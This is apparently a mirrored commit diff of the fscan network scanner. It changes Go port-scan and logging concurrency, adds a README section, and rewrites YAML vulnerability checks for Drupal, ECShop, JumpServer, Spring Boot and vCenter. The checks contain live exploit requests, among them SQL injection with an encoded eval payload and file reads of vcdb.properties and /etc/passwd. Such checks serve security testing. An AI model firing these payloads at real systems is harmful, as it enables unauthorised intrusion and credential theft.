mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-05-08 11:46:34 +00:00
加入 404星链
This commit is contained in:
parent
2466fc3ea7
commit
f1163fc3d7
@ -26,6 +26,7 @@ func PortScan(hostslist []string, ports string, timeout int64) []string {
|
|||||||
go func() {
|
go func() {
|
||||||
for found := range results {
|
for found := range results {
|
||||||
AliveAddress = append(AliveAddress, found)
|
AliveAddress = append(AliveAddress, found)
|
||||||
|
wg.Done()
|
||||||
}
|
}
|
||||||
}()
|
}()
|
||||||
|
|
||||||
@ -33,7 +34,7 @@ func PortScan(hostslist []string, ports string, timeout int64) []string {
|
|||||||
for i := 0; i < workers; i++ {
|
for i := 0; i < workers; i++ {
|
||||||
go func() {
|
go func() {
|
||||||
for addr := range Addrs {
|
for addr := range Addrs {
|
||||||
PortConnect(addr, results, timeout)
|
PortConnect(addr, results, timeout, &wg)
|
||||||
wg.Done()
|
wg.Done()
|
||||||
}
|
}
|
||||||
}()
|
}()
|
||||||
@ -42,18 +43,17 @@ func PortScan(hostslist []string, ports string, timeout int64) []string {
|
|||||||
//添加扫描目标
|
//添加扫描目标
|
||||||
for _, port := range probePorts {
|
for _, port := range probePorts {
|
||||||
for _, host := range hostslist {
|
for _, host := range hostslist {
|
||||||
Addrs <- Addr{host, port}
|
|
||||||
wg.Add(1)
|
wg.Add(1)
|
||||||
|
Addrs <- Addr{host, port}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
wg.Wait()
|
wg.Wait()
|
||||||
close(Addrs)
|
close(Addrs)
|
||||||
close(results)
|
close(results)
|
||||||
return AliveAddress
|
return AliveAddress
|
||||||
}
|
}
|
||||||
|
|
||||||
func PortConnect(addr Addr, respondingHosts chan<- string, adjustedTimeout int64) {
|
func PortConnect(addr Addr, respondingHosts chan<- string, adjustedTimeout int64, wg *sync.WaitGroup) {
|
||||||
host, port := addr.ip, addr.port
|
host, port := addr.ip, addr.port
|
||||||
con, err := net.DialTimeout("tcp4", fmt.Sprintf("%s:%v", host, port), time.Duration(adjustedTimeout)*time.Second)
|
con, err := net.DialTimeout("tcp4", fmt.Sprintf("%s:%v", host, port), time.Duration(adjustedTimeout)*time.Second)
|
||||||
if err == nil {
|
if err == nil {
|
||||||
@ -62,5 +62,6 @@ func PortConnect(addr Addr, respondingHosts chan<- string, adjustedTimeout int64
|
|||||||
result := fmt.Sprintf("%s open", address)
|
result := fmt.Sprintf("%s open", address)
|
||||||
common.LogSuccess(result)
|
common.LogSuccess(result)
|
||||||
respondingHosts <- address
|
respondingHosts <- address
|
||||||
|
wg.Add(1)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -9,7 +9,6 @@ import (
|
|||||||
"strconv"
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
"time"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
func Scan(info common.HostInfo) {
|
func Scan(info common.HostInfo) {
|
||||||
@ -65,7 +64,7 @@ func Scan(info common.HostInfo) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
wg.Wait()
|
wg.Wait()
|
||||||
time.Sleep(100 * time.Millisecond)
|
common.Logwg.Wait()
|
||||||
close(common.Results)
|
close(common.Results)
|
||||||
fmt.Println(fmt.Sprintf("已完成 %v/%v", common.End, common.Num))
|
fmt.Println(fmt.Sprintf("已完成 %v/%v", common.End, common.Num))
|
||||||
}
|
}
|
||||||
@ -78,10 +77,8 @@ func AddScan(scantype string, info common.HostInfo, ch chan struct{}, wg *sync.W
|
|||||||
Mutex.Lock()
|
Mutex.Lock()
|
||||||
common.Num += 1
|
common.Num += 1
|
||||||
Mutex.Unlock()
|
Mutex.Unlock()
|
||||||
|
|
||||||
ScanFunc(PluginList, scantype, &info)
|
ScanFunc(PluginList, scantype, &info)
|
||||||
wg.Done()
|
wg.Done()
|
||||||
|
|
||||||
Mutex.Lock()
|
Mutex.Lock()
|
||||||
common.End += 1
|
common.End += 1
|
||||||
Mutex.Unlock()
|
Mutex.Unlock()
|
||||||
|
@ -143,6 +143,14 @@ https://github.com/hack2fun/Gscan
|
|||||||
https://github.com/k8gege/LadonGo
|
https://github.com/k8gege/LadonGo
|
||||||
https://github.com/jjf012/gopoc
|
https://github.com/jjf012/gopoc
|
||||||
|
|
||||||
|
# 404StarLink 2.0 - Galaxy
|
||||||
|

|
||||||
|
|
||||||
|
fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-Galaxy) 中的一环,如果对fscan 有任何疑问又或是想要找小伙伴交流,可以参考星链计划的加群方式。
|
||||||
|
|
||||||
|
- [https://github.com/knownsec/404StarLink2.0-Galaxy#community](https://github.com/knownsec/404StarLink2.0-Galaxy#community)
|
||||||
|
|
||||||
|
|
||||||
## 最近更新
|
## 最近更新
|
||||||
[+] 2021/4/21 加入netbios探测、域控识别
|
[+] 2021/4/21 加入netbios探测、域控识别
|
||||||
[+] 2021/3/4 支持-u url或者-uf url.txt,对url进行批量扫描
|
[+] 2021/3/4 支持-u url或者-uf url.txt,对url进行批量扫描
|
||||||
|
@ -2,35 +2,15 @@ name: poc-yaml-drupal-cve-2018-7600-rce
|
|||||||
set:
|
set:
|
||||||
r1: randomLowercase(4)
|
r1: randomLowercase(4)
|
||||||
r2: randomLowercase(4)
|
r2: randomLowercase(4)
|
||||||
groups:
|
rules:
|
||||||
drupal8:
|
- method: POST
|
||||||
- method: POST
|
path: "/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
|
||||||
path: "/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
|
headers:
|
||||||
headers:
|
Content-Type: application/x-www-form-urlencoded
|
||||||
Content-Type: application/x-www-form-urlencoded
|
body: |
|
||||||
body: |
|
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=printf&mail[#type]=markup&mail[#markup]={{r1}}%25%25{{r2}}
|
||||||
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=printf&mail[#type]=markup&mail[#markup]={{r1}}%25%25{{r2}}
|
expression: |
|
||||||
expression: |
|
response.body.bcontains(bytes(r1 + "%" + r2))
|
||||||
response.body.bcontains(bytes(r1 + "%" + r2))
|
|
||||||
drupal7:
|
|
||||||
- method: POST
|
|
||||||
path: "/?q=user/password&name[%23post_render][]=printf&name[%23type]=markup&name[%23markup]={{r1}}%25%25{{r2}}"
|
|
||||||
headers:
|
|
||||||
Content-Type: application/x-www-form-urlencoded
|
|
||||||
body: |
|
|
||||||
form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail+new+Password
|
|
||||||
search: |
|
|
||||||
name="form_build_id"\s+value="(?P<build_id>.+?)"
|
|
||||||
expression: |
|
|
||||||
response.status == 200
|
|
||||||
- method: POST
|
|
||||||
path: "/?q=file%2Fajax%2Fname%2F%23value%2F{{build_id}}"
|
|
||||||
headers:
|
|
||||||
Content-Type: application/x-www-form-urlencoded
|
|
||||||
body: |
|
|
||||||
form_build_id={{build_id}}
|
|
||||||
expression: |
|
|
||||||
response.body.bcontains(bytes(r1 + "%" + r2))
|
|
||||||
detail:
|
detail:
|
||||||
links:
|
links:
|
||||||
- https://github.com/dreadlocked/Drupalgeddon2
|
- https://github.com/dreadlocked/Drupalgeddon2
|
||||||
|
@ -2,25 +2,15 @@ name: poc-yaml-ecshop-rce
|
|||||||
set:
|
set:
|
||||||
r1: randomInt(40000, 44800)
|
r1: randomInt(40000, 44800)
|
||||||
r2: randomInt(40000, 44800)
|
r2: randomInt(40000, 44800)
|
||||||
groups:
|
rules:
|
||||||
2.x:
|
- method: POST
|
||||||
- method: POST
|
path: /user.php
|
||||||
path: /user.php
|
headers:
|
||||||
headers:
|
Referer: >-
|
||||||
Referer: >-
|
554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:193:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b6576616c09286261736536345f6465636f64650928275a585a686243676b5831425055315262634841784d6a4e644b54733d2729293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}554fcae493e564ee0dc75bdf2ebf94ca
|
||||||
554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:193:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b6576616c09286261736536345f6465636f64650928275a585a686243676b5831425055315262634841784d6a4e644b54733d2729293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}554fcae493e564ee0dc75bdf2ebf94ca
|
Content-Type: application/x-www-form-urlencoded
|
||||||
Content-Type: application/x-www-form-urlencoded
|
body: action=login&pp123=printf({{r1}}*{{r2}});
|
||||||
body: action=login&pp123=printf({{r1}}*{{r2}});
|
expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
|
||||||
expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
|
|
||||||
3.x:
|
|
||||||
- method: POST
|
|
||||||
path: /user.php
|
|
||||||
headers:
|
|
||||||
Referer: >-
|
|
||||||
45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:193:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b6576616c09286261736536345f6465636f64650928275a585a686243676b5831425055315262634841784d6a4e644b54733d2729293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953aads
|
|
||||||
Content-Type: application/x-www-form-urlencoded
|
|
||||||
body: action=login&pp123=printf({{r1}}*{{r2}});
|
|
||||||
expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
|
|
||||||
detail:
|
detail:
|
||||||
author: 凉风(http://webkiller.cn/)
|
author: 凉风(http://webkiller.cn/)
|
||||||
links:
|
links:
|
||||||
|
@ -1,29 +1,17 @@
|
|||||||
name: poc-yaml-jumpserver-unauth-rce
|
name: poc-yaml-jumpserver-unauth-rce
|
||||||
set:
|
set:
|
||||||
r1: randomLowercase(5)
|
r1: randomLowercase(5)
|
||||||
groups:
|
rules:
|
||||||
users:
|
- method: GET
|
||||||
- method: GET
|
path: /api/v1/authentication/connection-token/
|
||||||
path: /api/v1/users/connection-token/
|
follow_redirects: false
|
||||||
follow_redirects: false
|
expression: |
|
||||||
expression: |
|
response.status == 401 && response.content_type.contains("application/json") && response.body.bcontains(b"not_authenticated")
|
||||||
response.status == 401 && response.content_type.contains("application/json") && response.body.bcontains(b"not_authenticated")
|
- method: GET
|
||||||
- method: GET
|
path: /api/v1/authentication/connection-token/?user-only={{r1}}
|
||||||
path: /api/v1/users/connection-token/?user-only={{r1}}
|
follow_redirects: false
|
||||||
follow_redirects: false
|
expression: |
|
||||||
expression: |
|
response.status == 404 && response.content_type.contains("application/json") && response.body.bcontains(b"\"\"")
|
||||||
response.status == 404 && response.content_type.contains("application/json") && response.body.bcontains(b"\"\"")
|
|
||||||
authentication:
|
|
||||||
- method: GET
|
|
||||||
path: /api/v1/authentication/connection-token/
|
|
||||||
follow_redirects: false
|
|
||||||
expression: |
|
|
||||||
response.status == 401 && response.content_type.contains("application/json") && response.body.bcontains(b"not_authenticated")
|
|
||||||
- method: GET
|
|
||||||
path: /api/v1/authentication/connection-token/?user-only={{r1}}
|
|
||||||
follow_redirects: false
|
|
||||||
expression: |
|
|
||||||
response.status == 404 && response.content_type.contains("application/json") && response.body.bcontains(b"\"\"")
|
|
||||||
detail:
|
detail:
|
||||||
author: mvhz81
|
author: mvhz81
|
||||||
info: jumpserver unauth read logfile + jumpserver rce
|
info: jumpserver unauth read logfile + jumpserver rce
|
||||||
|
@ -4,7 +4,7 @@ rules:
|
|||||||
path: /login.php
|
path: /login.php
|
||||||
follow_redirects: false
|
follow_redirects: false
|
||||||
expression: |
|
expression: |
|
||||||
response.status == 200 && response.body.bcontains(b"get_dkey_passwd") && response.body.bcontains(b"password")
|
response.status == 200 && response.body.bcontains(b"<title>RG-UAC登录页面</title>") && response.body.bcontains(b"get_dkey_passwd") && "\"password\":\"[a-f0-9]{32}\"".bmatches(response.body)
|
||||||
detail:
|
detail:
|
||||||
author: jweny(https://github.com/jweny)
|
author: jweny(https://github.com/jweny)
|
||||||
links:
|
links:
|
||||||
|
@ -1,15 +1,9 @@
|
|||||||
name: poc-yaml-springboot-env-unauth
|
name: poc-yaml-springboot-env-unauth
|
||||||
groups:
|
rules:
|
||||||
spring1:
|
- method: GET
|
||||||
- method: GET
|
path: /env
|
||||||
path: /env
|
expression: |
|
||||||
expression: |
|
response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"java.version") && response.body.bcontains(b"os.arch")
|
||||||
response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"java.version") && response.body.bcontains(b"os.arch")
|
|
||||||
spring2:
|
|
||||||
- method: GET
|
|
||||||
path: /actuator/env
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"java.version") && response.body.bcontains(b"os.arch")
|
|
||||||
detail:
|
detail:
|
||||||
links:
|
links:
|
||||||
- https://github.com/LandGrey/SpringBootVulExploit
|
- https://github.com/LandGrey/SpringBootVulExploit
|
||||||
|
@ -1,17 +1,10 @@
|
|||||||
name: poc-yaml-vmware-vcenter-arbitrary-file-read
|
name: poc-yaml-vmware-vcenter-arbitrary-file-read
|
||||||
groups:
|
rules:
|
||||||
win:
|
- method: GET
|
||||||
- method: GET
|
path: /eam/vib?id=C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties
|
||||||
path: /eam/vib?id=C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties
|
follow_redirects: false
|
||||||
follow_redirects: false
|
expression: |
|
||||||
expression: |
|
response.status == 200 && response.body.bcontains(b"org.postgresql.Driver")
|
||||||
response.status == 200 && response.body.bcontains(b"org.postgresql.Driver")
|
|
||||||
linux:
|
|
||||||
- method: GET
|
|
||||||
path: /eam/vib?id=/etc/passwd
|
|
||||||
follow_redirects: false
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
|
|
||||||
detail:
|
detail:
|
||||||
author: MrP01ntSun(https://github.com/MrPointSun)
|
author: MrP01ntSun(https://github.com/MrPointSun)
|
||||||
links:
|
links:
|
||||||
|
@ -4,6 +4,7 @@ import (
|
|||||||
"fmt"
|
"fmt"
|
||||||
"os"
|
"os"
|
||||||
"strings"
|
"strings"
|
||||||
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
@ -14,8 +15,10 @@ var Start = true
|
|||||||
var LogSucTime int64
|
var LogSucTime int64
|
||||||
var LogErrTime int64
|
var LogErrTime int64
|
||||||
var WaitTime int64
|
var WaitTime int64
|
||||||
|
var Logwg sync.WaitGroup
|
||||||
|
|
||||||
func LogSuccess(result string) {
|
func LogSuccess(result string) {
|
||||||
|
Logwg.Add(1)
|
||||||
LogSucTime = time.Now().Unix()
|
LogSucTime = time.Now().Unix()
|
||||||
if Start {
|
if Start {
|
||||||
go SaveLog()
|
go SaveLog()
|
||||||
@ -30,6 +33,7 @@ func SaveLog() {
|
|||||||
if IsSave {
|
if IsSave {
|
||||||
WriteFile(result, Outputfile)
|
WriteFile(result, Outputfile)
|
||||||
}
|
}
|
||||||
|
Logwg.Done()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
Loading…
x
Reference in New Issue
Block a user